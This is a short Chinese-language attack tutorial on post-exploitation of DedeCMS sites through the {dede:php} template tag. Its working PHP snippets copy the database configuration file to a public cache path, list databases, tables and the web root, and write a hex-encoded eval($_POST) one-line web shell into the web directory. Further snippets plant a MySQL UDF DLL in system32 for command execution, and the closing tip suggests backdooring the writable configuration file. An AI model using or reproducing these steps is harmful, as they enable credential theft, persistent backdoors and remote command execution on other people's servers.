By:zafe

    遇到可写不可执行的,可执行不可写的站的也许用的上

{dede:php}copy('../data/common.inc.php','../data/cache/test.txt');{/dede:php}

    然后去xxx.com/data/cache/test.txt看数据库信息,如果是root那就happy吧

    如果是普通用户,首先看下有哪些数据库:

//自行把{dede:php}{/dede:php}之间的内容替换成下面的,结果都是到data/cache/test.txt去看

$xdb = mysql_connect("localhost","user","password");//你获取到的数据库信息
$xresult =mysql_query("show datebases;",$xdb);
while($row = mysql_fetch_array($xresult))

   $fp = fopen("../data/cache/test.txt", 'a');
   fwrite($fp,$row['Database']."\n");
   fclose($fp);
}
mysql_close($xdb);

    列表:

$xdb = mysql_connect("localhost","user","password");//你获取到的数据库信息
$xresult =mysql_query("show tables from mysql;",$xdb);
while($row = mysql_fetch_array($xresult))

   $fp = fopen("../data/cache/test.txt", 'a');
   fwrite($fp,$row['Tables_in_mysql ']."\n");//请自行替换,mysql是数据库名
   fclose($fp);
}
mysql_close($xdb);

    获取其他数据库信息,自己更改mysql_query()和$row[]就行了

    获取网站路径:

$fp = fopen("dede/data/cache/test.txt", 'a');
fwrite($fp,$_SERVER['DOCUMENT_ROOT']."\n");
fclose($fp);

    如果有数据库对web目录有权限写:

$xdb = mysql_connect("localhost","user","password");//你获取到的数据库信息
mysql_query("select convert(0x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E,CHAR) into dumpfile 'E:/wwwroot/test.php';",$xdb);//一句话,密码c
mysql_close($xdb);

    注册udf:

$xdb = mysql_connect("localhost","user","password");
$xresult =mysql_query("create table mysql.udftmp (c blob);",$xdb);
mysql_query("insert into mysql.udftmp values(convert(0x,CHAR));",$xdb);//0x后接你udf的16进制代码
mysql_query("select c from mysql.udftmp into dumpfile 'c:\\windows\\\system32\\udf.dll'",$xdb);
mysql_query("drop table mysql.udftmp;",$xdb);
mysql_query("create function cmdshell returns string soname 'udf.dll';",$xdb);
mysql_close($xdb);
//注册好后,执行命令把上面的sql改下就行了

补充:

    data/cache/test.txt 不是可写了吗,一般数据库配置文件都可以写的。

    一般数据库配置文件权限都是设置可写不可执行,至少目前没碰到不可写的,然后很多文件都调用数据库配置文件,比如:plus/heightsearch.php 然后带上你的家伙。